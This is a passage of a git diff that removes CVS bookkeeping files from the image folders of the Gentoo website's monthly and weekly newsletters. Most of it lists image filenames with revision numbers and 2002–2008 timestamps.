-/keywords.png/1.1/Mon Feb 18 02:47:50 2008//
-/opened.png/1.2/Mon Feb 18 02:47:50 2008//
-D
diff --git a/xml/htdocs/images/gmn/20080218/CVS/Repository b/xml/htdocs/images/gmn/20080218/CVS/Repository
deleted file mode 100644
index 3836281f..00000000
--- a/xml/htdocs/images/gmn/20080218/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/gmn/20080218
diff --git a/xml/htdocs/images/gmn/20080218/CVS/Root b/xml/htdocs/images/gmn/20080218/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/gmn/20080218/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/gmn/20080317/CVS/Entries b/xml/htdocs/images/gmn/20080317/CVS/Entries
deleted file mode 100644
index ad01edb2..00000000
--- a/xml/htdocs/images/gmn/20080317/CVS/Entries
+++ /dev/null
@@ -1,7 +0,0 @@
-/activity.png/1.1/Mon Mar 17 02:23:53 2008//
-/closed.png/1.1/Mon Mar 17 02:23:53 2008//
-/gentoo-chemnitzer08.jpg/1.1/Mon Mar 17 02:23:53 2008//
-/gentoo-down-under08.jpg/1.1/Mon Mar 17 02:23:53 2008//
-/keywords.png/1.1/Mon Mar 17 02:23:53 2008//
-/opened.png/1.1/Mon Mar 17 02:23:53 2008//
-D
diff --git a/xml/htdocs/images/gmn/20080317/CVS/Repository b/xml/htdocs/images/gmn/20080317/CVS/Repository
deleted file mode 100644
index 5f17d78d..00000000
--- a/xml/htdocs/images/gmn/20080317/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/gmn/20080317
diff --git a/xml/htdocs/images/gmn/20080317/CVS/Root b/xml/htdocs/images/gmn/20080317/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/gmn/20080317/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/gmn/20080424/CVS/Entries b/xml/htdocs/images/gmn/20080424/CVS/Entries
deleted file mode 100644
index 25988e5b..00000000
--- a/xml/htdocs/images/gmn/20080424/CVS/Entries
+++ /dev/null
@@ -1,6 +0,0 @@
-/activity.png/1.1/Wed Apr 23 20:09:30 2008//
-/closed.png/1.1/Wed Apr 23 20:09:30 2008//
-/hyves-team.png/1.1/Wed Apr 23 20:09:30 2008//
-/keywords.png/1.1/Wed Apr 23 20:09:30 2008//
-/opened.png/1.1/Wed Apr 23 20:09:30 2008//
-D
diff --git a/xml/htdocs/images/gmn/20080424/CVS/Repository b/xml/htdocs/images/gmn/20080424/CVS/Repository
deleted file mode 100644
index 6ed0a8a6..00000000
--- a/xml/htdocs/images/gmn/20080424/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/gmn/20080424
diff --git a/xml/htdocs/images/gmn/20080424/CVS/Root b/xml/htdocs/images/gmn/20080424/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/gmn/20080424/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/gmn/20080526/CVS/Entries b/xml/htdocs/images/gmn/20080526/CVS/Entries
deleted file mode 100644
index 0b409c06..00000000
--- a/xml/htdocs/images/gmn/20080526/CVS/Entries
+++ /dev/null
@@ -1,5 +0,0 @@
-/activity.png/1.1/Fri May 23 21:45:27 2008//
-/closed.png/1.1/Fri May 23 21:45:27 2008//
-/keywords.png/1.1/Fri May 23 21:45:27 2008//
-/opened.png/1.1/Fri May 23 21:45:27 2008//
-D
diff --git a/xml/htdocs/images/gmn/20080526/CVS/Repository b/xml/htdocs/images/gmn/20080526/CVS/Repository
deleted file mode 100644
index f5d2291a..00000000
--- a/xml/htdocs/images/gmn/20080526/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/gmn/20080526
diff --git a/xml/htdocs/images/gmn/20080526/CVS/Root b/xml/htdocs/images/gmn/20080526/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/gmn/20080526/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/gmn/20080630/CVS/Entries b/xml/htdocs/images/gmn/20080630/CVS/Entries
deleted file mode 100644
index 5cfb7359..00000000
--- a/xml/htdocs/images/gmn/20080630/CVS/Entries
+++ /dev/null
@@ -1,9 +0,0 @@
-/activity.png/1.1/Mon Jun 30 06:59:46 2008//
-/board.png/1.1/Mon Jun 30 06:59:46 2008//
-/closed.png/1.1/Mon Jun 30 06:59:46 2008//
-/gentoo-corner.png/1.1/Mon Jun 30 07:17:47 2008//
-/group.png/1.1/Mon Jun 30 06:59:46 2008//
-/keywords.png/1.1/Mon Jun 30 06:59:46 2008//
-/opened.png/1.1/Mon Jun 30 06:59:46 2008//
-/winners.png/1.1/Mon Jun 30 06:59:46 2008//
-D
diff --git a/xml/htdocs/images/gmn/20080630/CVS/Repository b/xml/htdocs/images/gmn/20080630/CVS/Repository
deleted file mode 100644
index 8b73f1c8..00000000
--- a/xml/htdocs/images/gmn/20080630/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/gmn/20080630
diff --git a/xml/htdocs/images/gmn/20080630/CVS/Root b/xml/htdocs/images/gmn/20080630/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/gmn/20080630/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/gmn/20080728/CVS/Entries b/xml/htdocs/images/gmn/20080728/CVS/Entries
deleted file mode 100644
index 511193e8..00000000
--- a/xml/htdocs/images/gmn/20080728/CVS/Entries
+++ /dev/null
@@ -1,5 +0,0 @@
-/activity.png/1.1/Mon Jul 28 03:54:56 2008//
-/closed.png/1.1/Mon Jul 28 03:54:56 2008//
-/keywords.png/1.1/Mon Jul 28 03:54:56 2008//
-/opened.png/1.1/Mon Jul 28 03:54:56 2008//
-D
diff --git a/xml/htdocs/images/gmn/20080728/CVS/Repository b/xml/htdocs/images/gmn/20080728/CVS/Repository
deleted file mode 100644
index 82d09f1e..00000000
--- a/xml/htdocs/images/gmn/20080728/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/gmn/20080728
diff --git a/xml/htdocs/images/gmn/20080728/CVS/Root b/xml/htdocs/images/gmn/20080728/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/gmn/20080728/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/gmn/20080831/CVS/Entries b/xml/htdocs/images/gmn/20080831/CVS/Entries
deleted file mode 100644
index 33f2cdd9..00000000
--- a/xml/htdocs/images/gmn/20080831/CVS/Entries
+++ /dev/null
@@ -1,5 +0,0 @@
-/activity.png/1.1/Mon Sep  1 07:09:14 2008//
-/closed.png/1.1/Mon Sep  1 07:09:14 2008//
-/keywords.png/1.1/Mon Sep  1 07:09:14 2008//
-/opened.png/1.1/Mon Sep  1 07:09:14 2008//
-D
diff --git a/xml/htdocs/images/gmn/20080831/CVS/Repository b/xml/htdocs/images/gmn/20080831/CVS/Repository
deleted file mode 100644
index 563936b2..00000000
--- a/xml/htdocs/images/gmn/20080831/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/gmn/20080831
diff --git a/xml/htdocs/images/gmn/20080831/CVS/Root b/xml/htdocs/images/gmn/20080831/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/gmn/20080831/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/gmn/20080930/CVS/Entries b/xml/htdocs/images/gmn/20080930/CVS/Entries
deleted file mode 100644
index d559b891..00000000
--- a/xml/htdocs/images/gmn/20080930/CVS/Entries
+++ /dev/null
@@ -1,5 +0,0 @@
-/activity.png/1.1/Tue Sep 30 17:59:10 2008//
-/closed.png/1.1/Tue Sep 30 17:59:10 2008//
-/opened.png/1.1/Tue Sep 30 17:59:10 2008//
-/quebec.jpg/1.1/Tue Sep 30 17:59:10 2008//
-D
diff --git a/xml/htdocs/images/gmn/20080930/CVS/Repository b/xml/htdocs/images/gmn/20080930/CVS/Repository
deleted file mode 100644
index 4877e104..00000000
--- a/xml/htdocs/images/gmn/20080930/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/gmn/20080930
diff --git a/xml/htdocs/images/gmn/20080930/CVS/Root b/xml/htdocs/images/gmn/20080930/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/gmn/20080930/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/gmn/20081130/CVS/Entries b/xml/htdocs/images/gmn/20081130/CVS/Entries
deleted file mode 100644
index 86c08e13..00000000
--- a/xml/htdocs/images/gmn/20081130/CVS/Entries
+++ /dev/null
@@ -1,5 +0,0 @@
-/activity.png/1.1/Sun Nov 30 22:54:44 2008//
-/closed.png/1.1/Sun Nov 30 22:54:44 2008//
-/keywords.png/1.1/Mon Dec  1 04:19:39 2008//
-/opened.png/1.1/Sun Nov 30 22:54:44 2008//
-D
diff --git a/xml/htdocs/images/gmn/20081130/CVS/Repository b/xml/htdocs/images/gmn/20081130/CVS/Repository
deleted file mode 100644
index 8229c34a..00000000
--- a/xml/htdocs/images/gmn/20081130/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/gmn/20081130
diff --git a/xml/htdocs/images/gmn/20081130/CVS/Root b/xml/htdocs/images/gmn/20081130/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/gmn/20081130/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/gmn/CVS/Entries b/xml/htdocs/images/gmn/CVS/Entries
deleted file mode 100644
index 17848105..00000000
--- a/xml/htdocs/images/gmn/CVS/Entries
+++ /dev/null
@@ -1 +0,0 @@
-D
diff --git a/xml/htdocs/images/gmn/CVS/Entries.Log b/xml/htdocs/images/gmn/CVS/Entries.Log
deleted file mode 100644
index 3efcb1c1..00000000
--- a/xml/htdocs/images/gmn/CVS/Entries.Log
+++ /dev/null
@@ -1,11 +0,0 @@
-A D/20080218////
-A D/20080317////
-A D/20080424////
-A D/20080520////
-A D/20080526////
-A D/20080630////
-A D/20080728////
-A D/20080831////
-A D/20080930////
-A D/20081130////
-R D/20080520////
diff --git a/xml/htdocs/images/gmn/CVS/Repository b/xml/htdocs/images/gmn/CVS/Repository
deleted file mode 100644
index b5bfef05..00000000
--- a/xml/htdocs/images/gmn/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/gmn
diff --git a/xml/htdocs/images/gmn/CVS/Root b/xml/htdocs/images/gmn/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/gmn/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/gwn/CVS/Entries b/xml/htdocs/images/gwn/CVS/Entries
deleted file mode 100644
index 90f9c9b8..00000000
--- a/xml/htdocs/images/gwn/CVS/Entries
+++ /dev/null
@@ -1,304 +0,0 @@
-/20021223_utwente_arson.jpg/1.1/Mon Dec 30 02:02:10 2002//
-/20030113_gentoo_user_korea.png/1.1/Sat Jan 11 03:59:06 2003//
-/20030127_carpaski.jpg/1.1/Sat Jan 25 14:16:20 2003//
-/20030127_lwe_booth.jpg/1.1/Sat Jan 25 15:28:51 2003//
-/20030127_lwe_gerk_burning.jpg/1.1/Sat Jan 25 15:28:51 2003//
-/20030127_lwe_seemant_drobbins.jpg/1.1/Sat Jan 25 15:28:51 2003//
-/20030203_gerk.jpg/1.1/Sat Feb  1 16:19:54 2003//
-/20030210_lostlogic.jpg/1.1/Mon Feb 10 01:46:13 2003//
-/20030217_danarmak.jpg/1.1/Mon Feb 17 12:59:57 2003//
-/20030224_fosdem_3.png/1.1/Mon Feb 24 01:38:00 2003//
-/20030224_fosdem_6.png/1.1/Mon Feb 24 01:38:00 2003//
-/20030224_mirrorselect.jpg/1.1/Sat Feb 22 15:51:37 2003//
-/20030224_zhen.jpg/1.1/Sat Feb 22 15:36:58 2003//
-/20030303_bass.jpg/1.1/Mon Mar  3 00:50:37 2003//
-/20030310_jhhudso.jpg/1.1/Sat Mar  8 14:54:26 2003//
-/20030310_viennagentooers.jpg/1.1/Sat Mar  8 14:54:26 2003//
-/20030317_g2boojum.jpg/1.1/Sat Mar 15 12:34:24 2003//
-/20030317_gdc.jpg/1.1/Sat Mar 15 12:34:24 2003//
-/20030324_aliz.jpg/1.1/Mon Mar 24 17:07:18 2003//
-/20030401_fishb.gif/1.1/Sun Mar 30 12:59:57 2003//
-/20030407_sethbc.jpg/1.1/Mon Apr  7 09:20:48 2003//
-/20030414_livewire.jpg/1.1/Sat Apr 12 14:23:06 2003//
-/20030421_lu_zero.jpg/1.1/Mon Apr 21 10:32:43 2003//
-/20030421_luzero.jpg/1.2/Mon Apr 21 00:23:32 2003//
-/20030428_george.jpg/1.1/Sun Apr 27 21:22:01 2003//
-/20030505-liquidx.jpg/1.1/Mon May  5 01:24:28 2003//
-/20030505_liquidx.jpg/1.1/Mon May  5 15:13:33 2003//
-/20030512_jmorgan.jpg/1.1/Sun May 11 07:02:27 2003//
-/20030512_kai.jpg/1.1/Mon May 12 05:30:26 2003//
-/20030519_chadh.jpg/1.1/Mon May 19 01:40:26 2003//
-/20030519_cologne.jpg/1.1/Sat May 17 16:38:17 2003//
-/20030519_e3_entrance.jpg/1.1/Mon May 19 01:12:15 2003//
-/20030519_e3_nvidia.jpg/1.1/Mon May 19 01:12:15 2003//
-/20030526_mathy.jpg/1.1/Mon May 26 19:26:08 2003//
-/20030602_avenj.jpg/1.1/Sun Jun  1 11:40:42 2003//
-/20030609_breakmygentoo.jpg/1.1/Sat Jun  7 22:54:58 2003//
-/20030609_method.jpg/1.1/Sat Jun  7 13:34:46 2003//
-/20030616_jeffreypaul.jpg/1.1/Mon Jun 16 09:04:14 2003//
-/20030616_robh.jpg/1.1/Mon Jun 16 01:34:52 2003//
-/20030623_spider.jpg/1.1/Mon Jun 23 00:47:42 2003//
-/20030630_pauldv.jpg/1.1/Sat Jun 28 03:01:36 2003//
-/20030707_absinthe.jpg/1.1/Sun Jul  6 15:50:33 2003//
-/20030707_lucy.jpg/1.1/Sun Jul  6 15:50:33 2003//
-/20030714_linuxtag1.jpg/1.1/Mon Jul 14 12:41:28 2003//
-/20030714_linuxtag2.jpg/1.1/Mon Jul 14 12:41:29 2003//
-/20030714_lisa.jpg/1.1/Sun Jul 13 01:17:33 2003//
-/20030721_klieber.jpg/1.1/Mon Jul 21 02:27:33 2003//
-/20030728_rac.jpg/1.1/Sun Jul 27 12:49:17 2003//
-/20030804_seemant.jpg/1.1/Sun Aug  3 06:35:21 2003//
-/20030811_lwe1.jpg/1.1/Mon Aug 11 16:18:26 2003//
-/20030811_lwe2.jpg/1.1/Mon Aug 11 16:18:26 2003//
-/20030811_lwe3.jpg/1.1/Mon Aug 11 16:18:26 2003//
-/20030818_raker.jpg/1.1/Mon Aug 18 09:50:10 2003//
-/20030818_trance.jpg/1.1/Mon Aug 18 09:50:10 2003//
-/20030901_pylon.jpg/1.1/Mon Sep  1 01:28:40 2003//
-/20030908_shallax.jpg/1.1/Mon Sep  8 04:48:26 2003//
-/20030915_strider.jpg/1.1/Mon Sep 15 05:49:23 2003//
-/20030922_iggy.jpg/1.1/Mon Sep 22 14:48:01 2003//
-/20030929_osu1.jpg/1.1/Mon Sep 29 04:42:54 2003//
-/20030929_osu2.jpg/1.1/Mon Sep 29 04:42:54 2003//
-/20030929_styx.jpg/1.1/Mon Sep 29 04:28:00 2003//
-/20031006_lordvan.jpg/1.1/Mon Oct  6 12:59:59 2003//
-/20031013_spyderous.jpg/1.1/Tue Oct 14 18:18:50 2003//
-/20031020_latexer.jpg/1.1/Mon Oct 20 23:14:25 2003//
-/20031103_phosphan.jpg/1.1/Mon Nov  3 01:08:57 2003//
-/20031110_swift.jpg/1.1/Mon Nov 10 21:47:41 2003//
-/20031201_pebenito.jpg/1.1/Mon Dec  1 21:29:20 2003//
-/20031208_agenkin.jpg/1.1/Mon Dec  8 17:38:25 2003//
-/20031215_robbat2.jpg/1.1/Mon Dec 15 15:15:59 2003//
-/20031222_hanno.jpg/1.1/Sun Dec 21 13:35:38 2003//
-/20031229_aja.jpg/1.1/Tue Dec 30 04:52:36 2003//
-/20031229_bd.jpg/1.1/Tue Dec 30 04:52:36 2003//
-/20031229_carlos.jpg/1.1/Tue Dec 30 04:54:32 2003//
-/20031229_claudio.jpg/1.1/Tue Dec 30 04:52:36 2003//
-/20031229_david.jpg/1.1/Tue Dec 30 04:52:36 2003//
-/20031229_drobbins.jpg/1.1/Tue Dec 30 04:52:36 2003//
-/20031229_marco.jpg/1.1/Tue Dec 30 04:52:36 2003//
-/20031229_plate.jpg/1.1/Tue Dec 30 04:52:36 2003//
-/20031229_stefano.jpg/1.1/Tue Dec 30 04:52:36 2003//
-/20040112_tester.jpg/1.1/Mon Jan 12 14:37:45 2004//
-/20040119_tseng.jpg/1.1/Mon Jan 19 12:43:46 2004//
-/20040126_svyatogor.jpg/1.1/Tue Jan 27 02:56:28 2004//
-/20040209_battousai.jpg/1.1/Mon Feb  9 22:38:12 2004//
-/20040223_solar.jpg/1.1/Tue Feb 24 04:29:28 2004//
-/20040301_pappy.jpg/1.1/Tue Mar  2 06:03:42 2004//
-/20040308_chemnitz_crew.jpg/1.1/Mon Feb  5 13:43:07 2007//
-/20040308_dams.jpg/1.1/Tue Mar  9 02:15:29 2004//
-/20040315_caleb.jpg/1.1/Tue Mar 16 00:27:03 2004//
-/20040419_ramereth.jpg/1.1/Tue Apr 20 03:19:20 2004//
-/20040503_gentoo-site.jpg/1.1/Mon May  3 21:18:31 2004//
-/20040531_canalstmartin.jpg/1.1/Mon May 31 00:07:45 2004//
-/20040531_liveavatars.jpg/1.1/Mon May 31 00:07:45 2004//
-/20040607_jstubbs.jpg/1.1/Tue Jun  8 04:20:16 2004//
-/20040628_compile-times.png/1.1/Tue Jun 29 12:14:42 2004//
-/20040628_gang.jpg/1.1/Tue Jun 29 12:14:42 2004//
-/20040628_lars_cedric.jpg/1.1/Tue Jun 29 12:14:42 2004//
-/20040705_kumba.jpg/1.1/Mon Jul  5 12:53:49 2004//
-/20040719_macos_installer.png/1.1/Mon Jul 19 12:36:24 2004//
-/20040719_macos_problem.png/1.1/Mon Jul 19 12:36:24 2004//
-/20040726_geoman.jpg/1.1/Tue Jul 27 13:11:25 2004//
-/20040809_lwe1.jpg/1.1/Mon Aug  9 22:16:28 2004//
-/20040816_beejay.jpg/1.1/Tue Aug 17 01:23:49 2004//
-/20040823_satya.jpg/1.1/Mon Aug 23 13:42:48 2004//
-/20040906_dmwaters.jpg/1.1/Tue Sep  7 17:47:41 2004//
-/20041004-collage1.jpg/1.1/Sun Oct  3 21:29:25 2004//
-/20041004-collage2.jpg/1.1/Sun Oct  3 21:29:25 2004//
-/20041004-kain.jpg/1.1/Sun Oct  3 21:29:25 2004//
-/20041004-pegasos.jpg/1.1/Sun Oct  3 21:29:25 2004//
-/20041011-gentoo.jpg/1.1/Sun Oct 10 21:49:21 2004//
-/20041011-pegasos.jpg/1.1/Sun Oct 10 21:49:21 2004//
-/20041018-mglug.jpg/1.1/Sun Oct 17 22:16:35 2004//
-/20041025-lwe.jpg/1.1/Sun Oct 24 21:54:17 2004//
-/20041025-shi.png/1.1/Sun Oct 24 21:54:17 2004//
-/20041025-vote.png/1.1/Sun Oct 24 21:54:17 2004//
-/20041101-livecd.jpg/1.3/Tue Nov  2 00:23:01 2004//
-/20041101-lwe.jpg/1.2/Mon Nov  1 23:26:20 2004//
-/20041108-survey1.jpg/1.1/Sun Nov  7 23:40:15 2004//
-/20041108-survey2.jpg/1.1/Sun Nov  7 23:40:15 2004//
-/20041115-conisli.jpg/1.1/Sun Nov 14 22:22:21 2004//
-/20041129-bialystok.jpg/1.1/Sun Nov 28 22:16:40 2004//
-/20041129-odw.jpg/1.1/Sun Nov 28 22:16:40 2004//
-/20041129-pegasos.jpg/1.1/Sun Nov 28 22:16:40 2004//
-/20041129-tnt.png/1.1/Sun Nov 28 22:16:40 2004//
-/20041206-fl.jpg/1.1/Sun Dec  5 23:37:19 2004//
-/20041206-gday.jpg/1.1/Sun Dec  5 23:37:19 2004//
-/20041213-chinese.png/1.1/Mon Dec 13 00:03:05 2004//
-/20041213-prefpane.png/1.1/Mon Dec 13 00:03:05 2004//
-/20041213-profuse.jpg/1.1/Mon Dec 13 00:03:05 2004//
-/20041229_aja.jpg/1.1/Wed Dec 29 03:44:53 2004//
-/20041229_bahadir.jpg/1.1/Wed Dec 29 03:44:53 2004//
-/20041229_bdowney.jpg/1.1/Wed Dec 29 03:44:53 2004//
-/20041229_brandstetter.jpg/1.1/Wed Dec 29 03:44:53 2004//
-/20041229_dziwisz.jpg/1.1/Wed Dec 29 03:44:53 2004//
-/20041229_ebner.jpg/1.1/Wed Dec 29 03:44:53 2004//
-/20041229_erkan.jpg/1.1/Wed Dec 29 03:44:53 2004//
-/20041229_gerholdt.jpg/1.1/Wed Dec 29 03:44:53 2004//
-/20041229_hansen.jpg/1.1/Wed Dec 29 03:44:53 2004//
-/20041229_herren.png/1.1/Wed Dec 29 03:44:53 2004//
-/20041229_jbozanowski.jpg/1.1/Wed Dec 29 03:44:53 2004//
-/20041229_lucidi.jpg/1.1/Wed Dec 29 03:44:53 2004//
-/20041229_marco.jpg/1.1/Wed Dec 29 03:44:53 2004//
-/20041229_matzat.jpg/1.1/Wed Dec 29 03:44:53 2004//
-/20041229_patrick.jpg/1.1/Wed Dec 29 03:44:53 2004//
-/20041229_plate.jpg/1.1/Wed Dec 29 03:44:53 2004//
-/20041229_raschbacher.jpg/1.1/Wed Dec 29 03:44:53 2004//
-/20041229_rossi.jpg/1.1/Wed Dec 29 03:44:53 2004//
-/20041229_scherbaum.jpg/1.1/Wed Dec 29 03:44:53 2004//
-/20050103_akar.jpg/1.1/Mon Jan  3 17:25:34 2005//
-/20050103_bonezthegoon_avatar.jpg/1.1/Mon Jan  3 17:25:34 2005//
-/20050103_deathwing00.jpg/1.1/Mon Jan  3 17:25:34 2005//
-/20050103_erichsu.jpg/1.1/Mon Jan  3 17:25:34 2005//
-/20050103_fedeliallalinea.jpg/1.1/Mon Jan  3 17:25:34 2005//
-/20050103_forumstats.png/1.1/Mon Jan  3 17:25:34 2005//
-/20050103_gentoojp.jpg/1.2/Mon Jan  3 21:07:58 2005//
-/20050103_haas.jpg/1.1/Mon Jan  3 17:25:34 2005//
-/20050103_ian.jpg/1.1/Mon Jan  3 17:25:34 2005//
-/20050103_kallamej.jpg/1.1/Mon Jan  3 17:25:34 2005//
-/20050103_mikessu_avatar.jpg/1.1/Mon Jan  3 17:25:35 2005//
-/20050103_nitro.jpg/1.1/Mon Jan  3 17:25:35 2005//
-/20050103_pilla.jpg/1.1/Mon Jan  3 17:25:35 2005//
-/20050103_randomaze.jpg/1.1/Mon Jan  3 17:25:35 2005//
-/20050103_shev.jpg/1.1/Mon Jan  3 17:25:35 2005//
-/20050103_tomk.jpg/1.1/Mon Jan  3 17:25:35 2005//
-/20050103_yarrick.jpg/1.1/Mon Jan  3 17:25:35 2005//
-/20050110_denu.jpg/1.1/Mon Jan 10 00:45:39 2005//
-/20050124_looking-glass.jpg/1.1/Tue Jan 25 02:10:41 2005//
-/20050124_mini.jpg/1.1/Tue Jan 25 02:10:41 2005//
-/20050124_odw.jpg/1.1/Tue Jan 25 02:10:41 2005//
-/20050131_cube.png/1.1/Mon Jan 31 00:45:33 2005//
-/20050207_forum.png/1.1/Mon Feb  7 02:00:39 2005//
-/20050214_oslug.jpg/1.1/Sun Feb 13 22:56:37 2005//
-/20050221_kurobox.jpg/1.1/Sun Feb 20 23:27:42 2005//
-/20050221_lwe.jpg/1.1/Sun Feb 20 23:27:42 2005//
-/20050228_fosdem-booth.jpg/1.1/Tue Mar  1 00:22:54 2005//
-/20050228_fosdem-devs.jpg/1.1/Tue Mar  1 00:22:54 2005//
-/20050228_fosdem-dvd.jpg/1.1/Tue Mar  1 00:22:54 2005//
-/20050228_fosdem-keynote.jpg/1.1/Tue Mar  1 00:22:54 2005//
-/20050307_clt.jpg/1.1/Sun Mar  6 23:21:29 2005//
-/20050307_marduk.jpg/1.1/Sun Mar  6 23:21:29 2005//
-/20050307_pgo.png/1.1/Sun Mar  6 23:21:29 2005//
-/20050314_book.jpg/1.1/Tue Mar 15 01:39:37 2005//
-/20050314_itld.jpg/1.1/Tue Mar 15 01:39:37 2005//
-/20050314_luusa.jpg/1.1/Tue Mar 15 01:39:37 2005//
-/20050314_maddog.jpg/1.1/Tue Mar 15 01:39:37 2005//
-/20050321_gentoojp.png/1.1/Mon Mar 21 19:40:45 2005//
-/20050328_cryos.jpg/1.1/Sun Mar 27 11:25:20 2005//
-/20050328_osc.jpg/1.1/Sun Mar 27 23:18:24 2005//
-/20050404_bonsai.png/1.1/Sun Apr  3 22:21:58 2005//
-/20050404_forum.png/1.1/Sun Apr  3 22:06:36 2005//
-/20050404_hansmi.jpg/1.1/Sun Apr  3 22:06:36 2005//
-/20050404_slashdot.png/1.1/Mon Apr  4 00:19:17 2005//
-/20050411_oil.jpg/1.1/Tue Apr 12 00:22:35 2005//
-/20050411_sejo.jpg/1.1/Mon Apr 11 23:42:55 2005//
-/20050418_livedvd.png/1.1/Tue Apr 19 01:04:46 2005//
-/20050425_bonsaikitten.jpg/1.1/Mon Apr 25 23:11:24 2005//
-/20050425_pd.png/1.1/Mon Apr 25 23:11:24 2005//
-/20050425_pentoo.png/1.1/Mon Apr 25 23:11:24 2005//
-/20050502_plucker.png/1.1/Mon May  2 23:35:16 2005//
-/20050509_kugelfang.jpg/1.1/Tue May 10 00:42:04 2005//
-/20050509_winnipeg.jpg/1.1/Tue May 10 10:39:48 2005//
-/20050523_graz.jpg/1.1/Sun May 22 20:47:20 2005//
-/20050523_slarti.jpg/1.2/Mon May 23 00:17:17 2005//
-/20050530_amd64.jpg/1.1/Sun May 29 23:20:51 2005//
-/20050530_dams.jpg/1.1/Sun May 29 23:38:33 2005//
-/20050606_kloeri.jpg/1.1/Sun Jun  5 16:09:52 2005//
-/20050606_nomikai.jpg/1.1/Sun Jun  5 22:45:21 2005//
-/20050606_zaurus.png/1.1/Sun Jun  5 16:09:52 2005//
-/20050613_fisl.jpg/1.1/Mon Jun 13 00:53:13 2005//
-/20050613_mcummings.jpg/1.1/Sun Jun 12 21:44:06 2005//
-/20050613_odw.jpg/1.1/Sun Jun 12 22:24:36 2005//
-/20050620_london.jpg/1.1/Sun Jun 19 22:52:29 2005//
-/20050627_amd64.png/1.1/Sun Jun 26 22:40:41 2005//
-/20050627_award.jpg/1.1/Sun Jun 26 22:40:41 2005//
-/20050627_fizzlewizzle.jpg/1.1/Sun Jun 26 22:40:41 2005//
-/20050627_itanium.jpg/1.1/Sun Jun 26 22:40:41 2005//
-/20050627_linuxtag.jpg/1.1/Sun Jun 26 23:54:33 2005//
-/20050711_cryos.jpg/1.1/Mon Jul 11 00:28:44 2005//
-/20050711_dertobi123.jpg/1.1/Mon Jul 11 00:28:44 2005//
-/20050711_luzero.jpg/1.1/Mon Jul 11 00:28:44 2005//
-/20050711_postcount.png/1.1/Mon Jul 11 00:28:44 2005//
-/20050718_skippy.png/1.1/Sun Jul 17 19:45:23 2005//
-/20050718_swegener.jpg/1.1/Sun Jul 17 19:53:04 2005//
-/20050725_bug.png/1.1/Sat Jul 23 11:30:53 2005//
-/20050808_flameeyes.jpg/1.1/Sun Aug  7 17:43:37 2005//
-/20050815_affs.jpg/1.1/Sun Aug 14 23:34:46 2005//
-/20050815_camp-group.jpg/1.1/Sun Aug 14 22:49:55 2005//
-/20050815_camp-tents+fire.jpg/1.1/Sun Aug 14 22:49:55 2005//
-/20050815_iso.png/1.1/Sun Aug 14 23:34:46 2005//
-/20050822_carpc.jpg/1.1/Sun Aug 21 21:46:57 2005//
-/20050822_lwe.jpg/1.1/Sun Aug 21 21:46:57 2005//
-/20050829_mupper.png/1.1/Sun Aug 28 22:35:08 2005//
-/20050905_kingtaco.jpg/1.1/Mon Sep  5 00:24:52 2005//
-/20050905_obs.jpg/1.1/Mon Sep  5 00:24:52 2005//
-/20050919_osc.jpg/1.1/Sun Sep 18 23:14:52 2005//
-/20051010_lwe1.jpg/1.1/Mon Oct 10 15:46:52 2005//
-/20051010_lwe2.jpg/1.1/Mon Oct 10 15:46:52 2005//
-/20051031_roger55.jpg/1.1/Sun Oct 30 23:25:24 2005//
-/20051107_jacob.jpg/1.1/Sun Nov  6 14:54:21 2005//
-/20051114_zymeta-jukebox.jpg/1.2/Mon Nov 14 10:01:02 2005//
-/20051121_castle.jpg/1.1/Mon Nov 21 00:02:18 2005//
-/20051121_devcon.jpg/1.1/Mon Nov 21 00:02:18 2005//
-/20051205_100k.jpg/1.1/Mon Dec  5 20:40:46 2005//
